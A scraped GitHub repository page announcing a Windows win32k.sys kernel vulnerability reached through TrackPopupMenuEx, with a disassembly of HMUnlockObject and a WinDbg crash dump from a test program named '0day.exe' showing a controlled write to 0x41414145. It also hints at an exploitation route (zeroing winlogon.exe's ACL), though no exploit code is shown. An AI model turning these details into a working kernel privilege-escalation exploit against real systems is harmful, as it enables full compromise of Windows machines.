

 **Rootkitsmm / CVEXX-XX**

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Windows kernel vulnerability in win32k.sys Driver

12 commits

1 branch

0 releases

1 contributor

Branch: master CVEXX-XX / +

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main.cpp

Update main.cpp

a day ago

README.md

CVEXX-XX

i just found Windows kernel vulnerability in win32k.sys Driver , the bug is fixed in kb2998812 without even mentioning there was a vulnerability in win32k.sys

so it seems Microsoft fix some bugs without talks about it :)

An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode

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Exploiting this Bug is so trivial, there was multiple methods to Exploit it (for example Find ACL of winlogon.exe and Zero It)

```
win32k!HMUnlockObject:
929bc556 8bff      mov     edi,edi
929bc558 55       push    ebp
929bc559 8bec     mov     ebp,esp
929bc55b 8b4508    mov     eax,dword ptr [ebp+8]
929bc55e ff4804    dec     dword ptr [eax+4]      ds:0023:41414145=????????
929bc561 7506     jne     win32k!HMUnlockObject+0x13 (929bc569)
929bc563 50       push    eax
929bc564 e8cf3a0000 call    win32k!HMUnlockObjectInternal (929c0038)
929bc569 5d       pop     ebp
929bc56a c20400    ret     4
```

```
2: kd> !analyze -v
*****
*
*                               Bugcheck Analysis                               *
*
*****

Unknown bugcheck code (0)
Unknown bugcheck description
Arguments:
Arg1: 00000000
Arg2: 00000000
Arg3: 00000000
Arg4: 00000000

Debugging Details:
```

<> Code

Issues 0

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```
-----  
  
PROCESS_NAME:  0day.exe  
  
FAULTING_IP:  
win32k!HMUnlockObject+8  
929bc55e ff4804          dec      dword ptr [eax+4]  
  
EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 929bc55e (win32k!HMUnlockObject+0x00000008)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
    Parameter[0]: 00000001  
    Parameter[1]: 41414145  
Attempt to write to address 41414145  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The  
exception code is 0xc0000005.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx.  
The exception code is 0xc0000005.  
  
EXCEPTION_PARAMETER1:  00000001  
  
EXCEPTION_PARAMETER2:  41414145  
  
WRITE_ADDRESS:  41414145  
  
FOLLOWUP_IP:  
win32k!HMUnlockObject+8  
929bc55e ff4804          dec      dword ptr [eax+4]  
  
BUGCHECK_STR:  ACCESS_VIOLATION  
  
DEFAULT_BUCKET_ID:  STRING_DEREFERENCE  
  
CURRENT_IRQL:  0  
  
LAST_CONTROL_TRANSFER:  from 929bc9e0 to 929bc55e  
  
STACK_TEXT:  
aae0bc38 929bc9e0 41414141 00010007 00010003 win32k!HMUnlockObject+0x8  
aae0bc48 92a2f31c fea22938 00040199 00000000 win32k!HMAssignmentLock+0x45  
aae0bca0 92a258a5 fea22938 00000182 0000026c win32k!xxxTrackPopupMenuEx+0x1ce  
aae0bd14 8165542a 00040199 00000182 0000026c win32k!NtUserTrackPopupMenuEx+0xc3  
aae0bd14 77b864f4 00040199 00000182 0000026c nt!KiFastCallEntry+0x12a  
001af83c 763b5f7e 763b4b56 00040199 00000182 ntdll!KiFastSystemCallRet  
001af840 763b4b56 00040199 00000182 0000026c USER32!NtUserTrackPopupMenuEx+0xc  
001af860 00aa1869 00040199 00000182 0000026c USER32!TrackPopupMenu+0x1b  
001af978 00aa1ada 0003001e 001af960 ffffffff 0day!ShowPopupMenu+0x129 [c:\users\rootkit\documents\visi  
001afaa8 00aa2290 00a90000 00000000 001f1d59 0day!WinMain+0x15a [c:\users\rootkit\documents\visi  
001afb50 00aa201f 001afb64 76201174 7ffdb000 0day!__tmainCRTStartup+0x260 [f:\dd\vctools\crt_bld\visi  
001afb58 76201174 7ffdb000 001afba4 77b9b3f5 0day!WinMainCRTStartup+0xf [f:\dd\vctools\crt_bld\visi  
001afb64 77b9b3f5 7ffdb000 77d9310f 00000000 kernel32!BaseThreadInitThunk+0xe  
001afba4 77b9b3c8 00aa1181 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x70  
001afbbc 00000000 00aa1181 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
STACK_COMMAND:  kb  
  
SYMBOL_STACK_INDEX:  0  
  
SYMBOL_NAME:  win32k!HMUnlockObject+8  
  
FOLLOWUP_NAME:  MachineOwner  
  
MODULE_NAME:  win32k  
  
IMAGE_NAME:  win32k.sys  
  
DEBUG_FLR_IMAGE_TIMESTAMP:  4a5bc2a2  
  
FAILURE_BUCKET_ID:  ACCESS_VIOLATION_win32k!HMUnlockObject+8
```

```
BUCKET_ID:  ACCESS_VIOLATION_win32k!HMUnlockObject+8

Followup: MachineOwner
-----
```

